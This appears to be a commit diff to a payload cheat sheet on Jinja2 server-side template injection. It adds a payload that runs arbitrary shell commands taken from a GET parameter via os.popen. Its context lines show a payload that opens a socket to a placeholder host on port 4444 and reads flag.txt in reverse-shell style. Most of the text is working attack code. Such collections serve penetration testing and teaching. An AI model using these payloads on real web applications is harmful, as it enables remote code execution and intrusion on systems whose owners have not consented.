Improvement to the SSTI RCE
diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
index 9e6fa845a6..79c2a9f797 100644
--- a/Server Side Template Injection/README.md	
+++ b/Server Side Template Injection/README.md	
@@ -314,6 +314,13 @@ nv -lnvp 8000
 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
 ```
 
+Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
+In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
+
+```python
+{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
+```
+
 #### Exploit the SSTI by writing an evil config file.
 
 ```python

Simple improvements to Jinja2 SSTI RCE to clean up the "0"s in output and facilitate the command input field.